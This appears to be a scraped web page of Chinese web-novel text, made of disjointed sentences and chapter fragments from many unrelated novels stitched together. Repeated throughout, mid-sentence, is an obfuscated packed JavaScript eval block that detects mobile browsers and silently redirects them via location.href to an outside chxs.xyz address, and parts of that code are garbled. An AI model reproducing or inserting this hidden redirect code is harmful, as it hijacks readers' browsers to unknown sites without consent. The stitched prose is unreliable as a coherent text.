在说后半句话的时候,苏天宇是瞅着李天说的,不管是苏天宇的眼睛里,还是在苏天宇的话语里,都充满了委屈。 李晓天踏着空中的闪电,飞向了乌云的中央,密密麻麻的雷电在李晓天的周围跳动着,慢慢地形成了一件黑色的上古雷袍,上面雷电闪动,头顶王冠,这一刻,李晓天的雄姿展现在众人面前。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669451|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “可是,这些名医已经累了一天,不是回去,就是睡下了……”栖霞搂掌柜的有些为难地说道。 梦蝴芝的嘴角撇起一抹冷笑,声音很是冰冷。而后,伴随着梦蝴芝话音的落下,数以百计的身影便出现在梦蝴芝的前方,犹如坚实的壁垒一般,散发着泰山一般稳定的气息。 “我等着你,不来的是王八!”王子豪笑着挑衅道,这王八的意思再明显不过,是对一个男人极大的侮辱。 听到如此杂乱的哭声,再望向殡堂大厅中间的巨大黑棺,凌乾不禁叹了口气。 第二百三十三章 大手笔,太子之位?送了又何妨!交易! 张居正的面色沉凝了起来。 眼前的世子朱翊钧,早已经不是自己印象当中那个懵懂的孩童了,细细算起对方的年龄,如今怕是二十有八,已将近而立之年。 二十八岁,别说是现如今的修仙王朝了,就算是此前的凡人王朝,如此年龄之人,心智城府也早已成熟、定型,可以独当一面。 像是皇家的孩子,更是比同龄人 没有什么能说的,鲁尼尔已经赢了,狼蛛在秘剑们的威胁下只会用尽全力的去帮助他们,用自己为剑杀死德纽侯爵。 面对寒霜王的问话,伊戈斯沉默了下来,他想要逃出这个剧本之中,那么他该如何做呢。 只是在镜头光芒反射下,项链坠子的那颗漆黑宝石,似有些不同寻常的意味。 “你马上就要准备解毒了,最好还是吃的清淡些。”亚莲知道解毒的大概过程,所以她就准备了这些。 沈岸柳还是和往常一样,穿着一身火红色的长裙,她正一脸笑意的坐在拓跋余聂的对面。 一抬头看着君九延那可怜巴巴的样子,太惨了。被两个妹妹欺负成那样。 楚云洛带着沈含墨去了商场的蛋糕店。等江云惜和君夫人出来的时候,楚云洛人影子都不见了。 受伤的位置被撕裂出一个几乎将它撕开的伤口,随后其中的血肉蠕动着,用肉眼可见的速度恢复。 “让崔严知道你和我来往甚密,肯定会对你产生怀疑。你确定我还能出现在你身边吗?”林照徐声问道。 想了想中间的利害关系,钟南还是下定不了决心。不是怕得罪仇武和王家屏等人,而是担心自己的推荐起不了多大作用;要是推荐了施长廷,结果最后又没拿到蓟州总兵的职位,不就是白白得罪了好些人吗? 相比起灵田,日月仙葫内的土壤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669452|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确实没有那么肥沃,但其胜在空间够大,且可以根据需要自行模拟气候和时令,大大减少照顾药材的投入成本。 玄微发自内心地敬佩、感激清风还有道学院的每一位同道,如不是他们的鼎力相助,玄微构思的蓝图永远只是停留于脑海中的想法,无法付诸于实践,更遑论以此振兴道门了。 千反田对于折木的放水没什么反感,也没有感觉自己的自尊心受到了侮辱,因为在她眼中这就只是游戏而已,没必要太过在乎。 对于空降而来的副总兵钟南,无论是刘虎还是荆天楚等将领,初始之时都多有不服。后来知晓了钟南在朝鲜战争中的经历,多少有了些改变,加上老将军的从中调和,才勉强认可对方的身份。 “不了,我等一会儿再去吧!现在天色已经晚了,我需要先回去一趟。今晚八点左右我会去的,顺便将慕斯的猫粮和猫砂买来。”入须冬实道。 第二百三十四章 魏忠贤!土地改制第三、四阶段开启 徐府,厅间。 “孩儿恭迎父亲回归。” “孙儿恭迎祖父回归,祝贺祖父重返内阁。” 徐璠带着儿子徐元春,跪在徐阶跟前,父子二人的脸上,此刻满满的全都是激动之色。 看着跪在自己面前的儿子和孙子,徐阶此刻也是不由的双眼泛红,鼻头泛酸。 十八年,十八年不回归朝廷了。 尤其是 看上去锈迹斑斑,破旧不堪的黑水重刀,折射出一抹耀眼的金色光芒。 天荡山上,司空允一边命弟子方敬肃清有异心的弟子,一边命弟子石飞准备仙界大会相关事宜,自己再次来到圣殿的囚牢,将自己要主持仙界大会的事情告知轩辕昱。 而这时候的涟笙就有点无奈了,倒不是因为她后面尾随了只蚂蚁,那只蚂蚁她还不放心上。关键的是一路乱晃的她有些迷路了,而她现在只想找到李寺。 王曦刚想说句不要客气,然而,天地剧烈抖动起来,随之眼前一黑,再睁眼的时候,人已经回到了宝象国王宫。 平常的跋扈模样深入人心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669453|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看来是改不掉了,这个样子出来,不由得总有个原来的印象往盛佳慧身上套。 甲板上,林天浑然不觉恨天刀吟给人们的冲击,继续修炼沉浸在修炼天地中。 “还有件事情,就不是很正式了,就当是我和廖主任朋友之间的谈话,你看行不行!”方离谈完了正式,突然想到了自己领地里即将可能到来的战争,随口问了一问,看有没有可能利用华夏政府生产的武器武装自己的军队。 “曦儿,你不原谅我好吗?”见她不看自己,认为王曦心理还是过不去。 第二百四十章 为了利益,Cheers! 威廉·亨利·萨瑟兰,今年三十五岁。 他出生于英国伦敦,一个显赫的商贾世家,萨瑟兰家族。萨瑟兰家族在伦敦,可以说,拥有广泛的商业网络和深厚的政治影响力。 其家族主要从事丝绸、茶叶、瓷器等东西方贸易,与大明有着长期的贸易往来。 而威廉,更是自幼便对东方这个神秘大国,充满了浓厚的兴趣,尤 唐笑回来之后,庞青阳便开炉炼制了一炉丹药,恢复他损耗的精血。 这是多么凝实的内力?若这股内力全力打在人身上,岂不是粉身碎骨? “使用我的配方,可以获得更高的分数,我来指导,你动手。”丁火对谭雅说。 客栈早已经打烊了,不过‘花’青衣和谢念亦两人却有办法进去,‘花’青衣的房间临街,‘花’青衣离开的时候,并没有把窗户关严,以‘花’青衣和谢念亦两人的轻功,要爬上去是很简单的事情。 不过,那名主持考试的高级炼金士,在看到谭雅的卷子后,也只是淡定说了一句‘通过’,远没有看到丁火试卷时的那样惊‘艳’。 卡蕾忒心里想,自己明明遭受了波塞顿的陷害,却因为有所顾忌不得不替他保守着那个打死都不能说的秘密。 傅残连连退后,手中长剑急闪,剑芒纵横,紫色的内力不断划破夜空。 现在,丁火骤然被攻击到,连陨石防御罩都没被击破,但丁火很愤怒,搞什么,他还没动手呢,就挨了一下。 “师长,今天我们十个招兵处都已经超过上线了,我们还要招兵吗?”刘春刀师的一个招兵负责人等候刘春刀的命令。 “你父亲在去烟‘波’山庄的前一天有没有什么反常的地方?”‘花’青衣看着宋英,也是很平淡的问道。 长生夫妻二人哑口无言,在老父凌厉的目光注视下,只好乖乖的拿上出头,带上凉白开,开垦荒地去了。 疾风面色有些凝重,此时恐怕黑暗元素也在侵蚀主子的身子,但是他们却不能上前阻止,这个情况下发病反而让他不知道应该如何是好。 此时的谷月华早已经失去了反抗的能力,只是又昏迷不过去,不断的承受着身上带来的痛苦,以及精神上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669455|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舒靖容给予的恐惧。 “死亡,不是终结;死亡,是人生最大的意义;死亡,是武士的无上荣光;死亡,是回归天照大神的恩泽。”伊佐大和说道,停下了吹奏尺八,周围那些吟唱的神道教神官似乎受到某种感知,吟唱的声音带着一种悲壮和狂热。 “你跟我来。”卫国公一步跨出门槛,沉默不语地往镜池行去,直到柳下站定,转身意味不明地盯着齐巍,直将“亲信”看出一背的白毛汗来,嘴角才“缝”住了。 可那事也是听说,萱叶并不曾目睹过福王坚决起来是个什么声势。 当夏天激活了意念之力时,那无处不在的威势虽仍然强横无比,但,在夏天的强大意念之下,都被无视了,他只有一种想法,那就是前行。 我一拳打在大和尚身上,他纹丝未动,只是冷冷的看着我,嘴角微微的翘起,似笑非笑。 这男人的回答还真是出乎她的意料之外,没想到真的要跟着她一块走。 无方的一番话,不合情,亦不合理,虽然勉强可以自圆其说,但,夏天知道,无方的话一定不尽不实。 第二百四十一章 灵石贸易开启,卖国只有零次和无数次 看着面前的酒杯,威廉沉默许久后,缓缓拿起了自己的酒杯,迟疑道:“可若真是如此的话,我们的国家,将永远离不开大明。” “叔叔,”说着,威廉抬起头,看向面前拿着酒杯的叔叔爱德华,道:“我们是罪人!” “大明的野心很大,我仿佛已经看到了未来,帝国破灭的一日,我……”威廉说着,有些痛苦的摇着脑袋 元音一下子泄气,他清楚,实在太清楚了,和安不就是想把水搞浑吗?跟春和坦白这个消息之前不就猜测了这个可能性吗? 不过罗砂已经探查过了,地上那具尸体确实也是龙人,所以罗砂给了龙人鲁卡斯一个偷袭的机会。 这年头的火车,不仅仅十分的拥挤,而且脏乱差也是比较严重的,各种形形色色的人都有,骗子,扒手,层出不穷。 似乎是习惯了这种疼痛,自珢离开以来,我无数次地独自面对各种各样的突发状况。 “你们城主?也是一位圣人吗?”感知着吞天虎语气中带着的敬慕,何首圣人好奇道。 李毅没说话了,继续的做仰卧起坐,霍弈尘回到宿舍,看到余念,他就想把她扑倒,余念来部队,霍弈尘当初说好的,要让她调理生理时钟,不能再继续像之前那样了,要让余念跟着他一起早睡早起的锻炼身体,结果呢? 如果没有顾修,沧南如果当皇帝,那是绝对的明君,当然也是个绝对的暴君。 胖子大惊唐研新举着枪不看就啪啪啪的三枪,打在沙俄两人身旁的花瓶上。 卢昆一赫这人啥来头,生门人都敢骂看她出手已是如神魔样,自己看都没看清对方的手脚怎出手的人都被打的飞出。 日后不管是发生了什么事情,都是自己可以去应对下来的,在这件事情上,那几乎是没有什么好说的了。 她就知道,这一旦开了“斋”,他又要肆无忌惮了,而她更知道,这些日子他忍得有多辛苦,即便是刚才,也是竭力克制自己,生怕伤着她。 这一刻,她悲哀的发现,那些恨意,在见到他的时候变得那么的微不足道,这一刻,她只想好好的问问他,为什么?为什么狠心的看着她葬身火海却不伸手搭救?为什么欺骗她的感情? “噗唧、噗唧”的声音从他耳边传来,就见距离她左侧腹部大约二公分的区域,那叫一个可怕,简直就是白刀子进红刀子出,让她担忧下一秒,这白刀子会不会捅进她的身体里面。 槿叫过一声凌师兄后,便再没有言语,只是笑着,看着凌峰和车诚俊你推我让地皮笑着。 孙夫人的脸色有些难看,她下了这么大的决心来到孙府,没想到得到的竟然是丁夫人这么一句不疼不痒的话。可是丁夫人这话说得入情入理,限药令是自家老爷吩咐下去的,还能让丁夫人怎么说呢。 醒来的第一件事就是冲出帐子,但见龙翼军英姿挺拔的立在晨辉中,心方安了下来。 当然,玩够了这样的答复可就没有时间限制了,也许一年也许十年,也许一辈子。 房间里只剩三人,唐岚与唐如烟的坚持,都在继续,谁也不妥协。 挑剔的眼光四处打量,又赶走了前来问询的人,坐在床边,盯着苏锦翎看,那明亮的目光令人分外不自在。 :“钱家那个钱家”月瑶对京城的人家不熟悉,而且月环要说亲,肯定不可能说高门大户的。 不过马勇却知道,这件事是谭大伟在其中起了一定的作用,要不然相信如果警察真的想查的话,那么线索千条万缕,黑山镇道上只要是个有头有脸的人就知道这次枪战的双方是谁,警察能不知道? “你别跟我扯淡,这事儿跟你儿子有关系么。”王翔顿时皱起了眉头。 “我不去。”张轩一直板着脸不说话,听到张哲让他去,没有思索就否定了。 李泰、李治等众皇子都吓得缩成一团,躲在李世民身后,动弹不得。 萧凌带这几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669456|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十来号人是为防不测。毕竟他从京外回来,各方面的消息都落人一步,皇帝死时只有萧砚和陈峰在身边,他不能不为可能的危险和麻烦做足打算。 陈云心头猛地一震,抬头便朝着空中看去,原来是那颗巨球搞的鬼,陈云刚开始还不畏惧那颗巨球散发出来的光线,也就没有理会。但此刻,却发现那东西竟然在消耗着自己的体能。 简而言之,她现在的感受就像从前在另一个世界通宵熬大夜,并且还是一连半个月,生不如死。 苏宇来的时候并没有看清这只妖兽的面貌,以为只是普通的飞行妖兽,没想到会是在亚龙种比较强的双足飞龙。 大概过了一分多钟,洛羽赶紧和时崎狂三松开嘴,只因为时崎狂三吻的太热情了,感觉就好像吧自己的嘴唇当成一个好吃的食物一般,疯狂索取,洛羽这个处男差点就把持不住。 冯妙君紧接着又道:“眼前这局面,于魏国来说未尝没有好处。”她目光巡视现场,不动声色,却未发现云崕的身影。她也不知自己该是什么心态,松一口气呢,还是提心吊胆? 不过,以他的性子,即使没去看蟠桃园,那些麻烦他也一样会惹的。 “弹丸之地,叛乱之国,百姓居然能够安居乐业 ,实在是匪夷所思。”6瑾露出了怀疑的冷笑,显然根本不相信苏令宾之言。 以后出门要算一挂,今天似乎特别背,回家以后要拜一拜菩萨,保佑她赚大钱然后别被林下帆的帅脸迷惑得东南西北不分。 失去肉身的庇护,固然有一种解脱的自由自在感,但更多的还是不堪一击和无能为力,不论是修行还是平常行动,若非这天落山有大阵护持,气机运转迥异于别处,常年风和日丽,现在的虎先锋恐怕连直面秋风都会觉得吃力。 但看到上面显示着警局两个字,他知道是那个警花给自己打电话,不得不接电话。但不代表林下帆的动作停下来,可以一边打电话,一边陪她们两个玩。 第二百四十二章 伦敦港,修仙者爆轰群炮! “身体发育就像打造木桶,想增加木桶的容量怎么办?只有打碎木桶,重新再造!”图尔南斯以拳击掌,空气发出一声爆鸣。 随即,两声巨大的爆炸声响起,火光从‘厌战’号战列舰的侧舷迸发出来。 在江口左太郎看来,早前日军围剿八路军,基本上都是东边打,他们就往东边跑。西边打,他们就往西边跑,完全被八路军牵着鼻子跑。 不仅是地中海舰队在派遣水上飞机搜寻美英舰队派遣的猎杀编队,德国海军本土舰队,也同样在做这样的事。 你不要我,我就走,你要我,我就侍奉你,无论你是否爱我,我都爱你……这其实是对自己的忠诚。朱蒂没有主见,习惯依附于人,但那也只是她的性格使然,可她忠于自己的感受却不是人人都能做到的。 枪毙了几个罪大恶极的大汉奸之后,从这些大汉奸家里也抄出不少钱财。这些钱财,在赵铁虎看来,终究也是取之用民,用之于民。 陆天铭淡淡一笑,这种茶叶,有多少钱都买不到,常年受云雾所包裹的茶叶,自然有其特殊之处,口感就不用说了,其中更是蕴含着灵气,对于洗涤身体内的杂质和毒素也是非常有好处的。 “是的,你现在应该也已经接触到一些转世的信息了。确实从前几世开始,我就一直想让你来到这里。 “我命令你们,撤!”辰曦厉喝一声,提抢冲起,挡在了那条即将冲上来的黑色蛟蟒。 “谢谢你,天铭!”杜诗妍感觉到心里一暖,顿时觉得其实陆天铭也没有那么坏了。 “没错,心魔雷的攻势,还远远不止这些,就算熬过了过往的心魔,接下来才是真正更为可怕的时刻。”沐玄说到这儿,顿了顿,目光愈加凝重。 楚天阔敏锐地察觉出了她的不对劲,按住她的肩膀,极力想让她镇定下来。 楚天阔嘴角明显抽搐了一下,脸上是那种极力克制隐忍的表情。他并非生气,而是一种说不上来的异样感受。 在察觉到陌凤夜身上所荡开来的,令人难以想象的可怕气息,让周围的大片黑雾如同染上毒一般,唯恐不及地避开去,瞬间就察觉到了陌凤夜深不可测的强大力量,远超出他想象。 夜枭眯着眼,盯着自家妹妹半饷,挥了挥手,立刻有人去查探消息。 既然连逆凰这样不受要挟的男人都被捏住了软肋,说明发生的事情有些严重了。 烟香将以往见到牛轲廉的情景,在脑中如幻灯片一样过了一遍。她由此分析得出了结论,牛轲廉熟悉的人,有许秀才和相爷。除此之外,她也想不出还有什么人跟牛轲廉走得近? 而在广遨无垠的宇宙中,时间的流逝更像是让人觉察不到一般,如果不是有魔方系统的存在,天道与任务者们怕是要迷失在黑白宇宙中了。 伙计瞧见二狗子心虚的模样,心愈发肯定这俩人是来捣乱的了,态度愈发不好。 门随即开启,一阵白光爆发,一位虚影年轻人手持长剑从白光中走出。 他看着老师给他的史料犯了难,怎么能够找到一个新的突破点呢? 沈落云一边用扇子扇火一边抬头看了看陆湛,又低头确定了火势刚好以后,才起身。 他与这黑衣人素昧平生,但关于自己的缺陷,关于自己的种种不足,这位黑衣人竟能准确的找到,帮他指正修改出来。 姜绾下了一楼,还是没见着宋九渊人,猜他大抵在忙,便也没执着找他。 冰冷的液体顺着喉管流入心田,方彤这才反应过来,自己的情绪不稳。 宋九渊说话向来直接,要不是看在姜绾的面子上,他都能直接将人丢出姜府。 他怎么也没想到,楚先生竟会在这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669457|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,而他拿着楚云的字来这儿炫耀,他自然害怕楚云怪罪,内心顿时忐忑不安起来。 按照吉良伊鹤自己的估算,如果对着某一个物体砍上一百次左右,或许会创造出一个黑洞来。 今晚有三场英超第28轮的补赛,同时进行的还有一场米德尔斯堡和桑德兰的保级大战,主场作战的米堡1-0力克黑猫,取得宝贵的保级三分。 虽然大野平信实际上是将仁木家纳入了自己的麾下,但是如今大野氏名义上仍是松上家的家臣。臣夺主臣毕竟为世人所不容因而大野平信在言语之上还是末有太多逾越之处,可是他话语中的深意木造正忠还是听的明白的。 “因为买卖上的事情,蓝公子有事先走一步了。”君墨轩面不改色的说道。 这里所有的东西都是我亲手布置的,想着等到结婚的那一天给他一个惊喜,却不料还没有等到结婚我就被抛弃了。这里虽然不大,但是却是我全部,这是我的窝,我幻想和自己的良人共度一生的地方。 罗森眉头轻皱,视线不断的在手中的七情魔颜花之血上徘徊,眸子深处有着一丝犹豫之色,这七情魔颜花之血对于他参悟暗系灵术有着不可言喻的好处,机缘巧合之下,甚至有可能参悟出天品灵术。 更何况以如今空蝼名以上是副队长,但是实际上有着堪比队长的战斗力和权限的情况下,能让他出手的事情也不多就是了。 陆从勉温和的笑了一笑,彷佛在告诉我不用担 心,他会帮我。我心里却一凉,恐怕事情没这么简单。 自这一天之后,空蝼的日子再度回归悠闲,每天基本就是在二番队闲逛或是在街上闲逛的区别。 而在黑暗探索之中,戴琳依旧站立于别墅外,那身为因为疲乏微微颤抖着,双拳紧握,贝齿轻咬,微微有些发白的脸上依旧充斥着慢慢的倔强之色。 第二百四十三章 肆虐 “轰,轰爆火炮?” 爱德华听到这位小旗官的话,整个人都呆滞了。 尤其是看着眼前这位锦衣卫小旗官双指间,跳跃的那枚小巧精致的符箓,那淡绿色,好似有清风环绕一般的景象,不断在瞳孔放大。 他丝毫不敢小瞧,眼前这小巧精致,只有食指长短大小的符箓。 在大明生活的这几十年里,他也不是没有 下一秒,淡淡的声音响起,明明声音不大,却莫名传遍全场,整个会场都为之安静下来。 偌大的前院,除了几十名前来送奠的将士之外,便只剩下一众叶家遗孀,当下竟是显得有些空荡。 当然这点不足,沈洋自然是知道,在听到李永说的那些话之后,他立刻就意识到了。 但是七国统一这是必然趋势,这也是对天道的顺应,姚晨知道,随着时间的不断发展。 想着这些玉露果树都是难得的宝物,苏宁迅速行动起来,将保存完好的玉露果树枝干收集到背包里。 正当我们一直都在商量着如何去把玉人找回来的时候,外面突然传来了一声清脆的敲门声音,我们一脸纳闷,这大晚上的什么人会来?难不成是十三吗? 整个村子异常的安静村子里面的那些人看起来十分的空洞,我不知道发生了一些什么走到一个大梁的跟前蹲下身子,想要跟他打听一下最近这两天村子是不是又发生了些什么。 赵觅楠和顾进国这几日有意多做着些饭菜,用打包盒一装,放在空间里,又不会变质,比冰柜都好用。 这什么情况?他活这么大还从来没有被人打过,即便是一直与他不和的大哥也没对他动过粗,这个谢尔比家的汤米究竟怎么回事? 当深得莫敬宇“精髓”的莫仲元准备搞一番大新闻的时候,安沛城已经易手。 结果还是一样,刚刚冲出去没多远,又被五帝打退了回来,而且伤势比起六耳严重得太多,没有一两个月的休养,是不可能恢复到巅峰状态了。 因为那记声势比皓月斩还弱的刀芒,在奔射出百米距离后,无数魔影顿时从中暴冲而出,吚哩哇啦,层出不穷,跟着刀芒铺天盖地向那人席卷而去。 比如说,同是最初镇兽,同是九级,他不同于战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669458|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死的和与九级魔物同归于尽的,根据阿穆特所说,混沌从来都没有直接和魔物战斗过,那么,为什么他的伤势这么重? 即使距离甚远,并且雨声沥沥、哀嚎阵阵,但艾尔仿佛还是能听得到一声颈椎断裂的脆响。 “来者是谁?”李更云不认识喊话的人是谁,他向着赵子易询问。 他选的是远离天弯城峡谷千里外的一片深山荒地,除了冻毙无数的野物,此地没有人类存在,他神识扫过,早就探了个清清楚楚。 目标的外貌特征和凡凡说的一样,是个形销骨立的黑脸男人,也说不上多少岁,门刚打开就急不可耐地挤了进来,得亏了神油的神奇力量,齐娜像条蛇似的盘旋而起投到了黑脸男人的怀里。 不过炎他也知道,虽然说那个老家伙的拳头是挺狠的,不过那已经算是手下留情了。他还记得有一次在跟卡普交手之后,他曾经问了他一句他全力一击的威力有多可怕。 化身巨龟的泽法,语气极为不善的瞅着,那一个个从天而降后,就直挺挺的朝着他冲来的庞然巨兽。通过刚刚的话他也已经了解了他们这些人的身份。 第二百四十四章 只能先苦一苦上帝了,我是来征服的! 午后,阴云密布。 阴沉沉的天空下,开始飘洒起了绵绵细雨,让整个伦敦,增添了几分凉意。 伦敦市中心,威斯敏斯特宫。 此时,议会的上议院和下议院、枢密院等权贵,还有天主教、新教等神职要员,以及盘根在伦敦的几个商人家族,纷纷到场。 此刻所有人议论的焦点,绝大部分都是伦敦港码头发生的 「当然能找到了,不然老娘我也不会跟你说!」花姐没好气地说道。 在那个年代,身处偏远的农村,王宁的爷爷又是个手无缚鸡之力的原私塾老先生,加上身体状况不佳,根本干不了农活。 她俯首亲了亲他漂亮的唇瓣,完成任务后就想走,却又被秦孽一把扣着腰给按了回去。 反过来说,如果品牌够牛,产品完全是可以找代工的,只要质量底线把控好,其实利润会更大。 这些都是刚开始进森林找到的,后面因为出现了邪物,她也就没那心思找什么药材了。 “我不是给你面子了吗,都送你十年份的桃木剑了,你还想怎样?”庆伯板着脸说道。 随着移动速度的提升,意味着,你的攻击速度、防御速度都会异于常人。 今天因为她上班迟到自已被董事长批评不说,迟到的原因竟然是昨晚陪客户到凌晨三点。 所以,一看谷倩倩要套路他,甚至还有点动情的意思,他决定冷却一下两人的关系。 哥一口气给你花了大几十万,你好感度不上升也就罢了,怎么反而下降了? 杜婵一听旁边这位是时尚芭莎的实习编辑马上眨巴着她的大眼睛认真的打量了一眼对面的王珊珊,不得不说不愧是国内首屈一指时尚杂志的编辑,单单是王珊珊的衣品杜婵就比不了,更不要说人家的lv包包了。 叶飘可不是什么软柿子,平白无故的被人恶心了一下,就会忍气吞声的人。 赤犬看到了白胡子的异样,有些疑惑,不过暂时还没有往伤病的方面去联想。 瑟尔屈膝蓄力,双脚一踩,脚下的海王类被巨力冲击的沉下海面,炸起巨大的浪花,痛苦的嘶吼起来。 这些招聘的事情,李唐就没有参与,基本上是何润琦、爱丽丝等人在处理。 两人没在多愣,简单的收拾了片刻后,便出了家门,开着董浩的玛莎朝着市区 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669459|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驶去。 “你说什么呢?我听不懂。”秦安灵的嘴角噙着一抹俏皮的笑意,装傻充愣道。 可秋莫荷又怎会给几人机会,直接来到了四人中间,用手腕抓住其中两人持枪的手腕用力一拧,两人一阵吃痛手枪掉落在地。 梅根·福克斯却略显富态的坐在【变形金刚2】的休息席上看着她手里的报纸。 海贼船的船首有一个长角白犀牛雕像,犀牛嘴巴里藏着一门大口径火炮,闪耀着黑黝黝的金属光芒,粗大的桅杆上飘扬着一面骷髅犀牛海贼旗帜。 面对着阿尔法的请求,伊路卡还能说什么呢?若说阿尔法,那绝对是配得上星天使的。 如此声势,那雷公电母齐下界,更有无数天宫仙将而来,这雷公电母,见得九天真龙,当下便拜庄万古:“恭喜北岳天帝,得九天真龙。”雷公电母旁的天将,也是皆恭喜之声。 算了怎么可能,一个四品炼药师会把这么珍贵的药草当做是饲料? 碉堡位于深渊大营地的最外围,距离深渊大营地有一些距离,这也是图迦将古斯塔安排在这里的原因,谁也不清楚这位恐惧魔王到底打着什么主意跑到这里来的。 第二百四十五章 女王退位,议会至上,国王沦为傀儡,权利法案,落幕! 当然,此时一同跟着面色有些难看的,还有御座之上的女王伊丽莎白一世。 显然,她也没有想到,这个大明使臣,会当着整个英国高层所有人的面,丝毫不给面子的给自己来一个下马威。 没错,在她看来这就是一个下马威! 当然,更多的还是源于对方对整个英国的蔑视和傲慢。 这是压根不把英格兰帝国放 作为纪委监察机关,我们江南省纪委必须要始终坚守协助党委推进全面从严治党的职责定位,坚定不移的推进党的建设新的伟大目标,不断以党的自我革命推动党领导的社会革命。 打死更好,竟然当街顶撞自己,活该被打死。打不死,迎进府邸那就说明对方是大人物,至少大家还有一个‘带路’的交情不是。 “易枫,我拦住他,你没问题吧?”铁山瞥了一眼韩明,眼中尽是忌惮。 蚁附象身,借力而行本就占了便宜,回过头还要抱怨大象的皮太厚不好啃,谁才是做的不当人子的事呢,杜和冷笑一声,一张一张的在表叔公面前摆满了借据。 那个背负长剑,一脸冰霜的古晴雨在易枫的脑海中渐渐的清晰了起来。 受到无限压制的司徒飞扬心中一阵惊恐,因为这一招太强了,他都怕。 易枫不敢轻举妄动,若是再触动这里的阵法,把自己困在这里,乐子可就大了。 钱满途大笑钱坤不识时务,必将后悔,扬长而去。后来,他抓了刘大勇,逼问出海山的下落,致使海山同志牺牲。 天启这时笑得都合不拢嘴了,只觉得天下尽在我手,翻覆天下易如反掌。 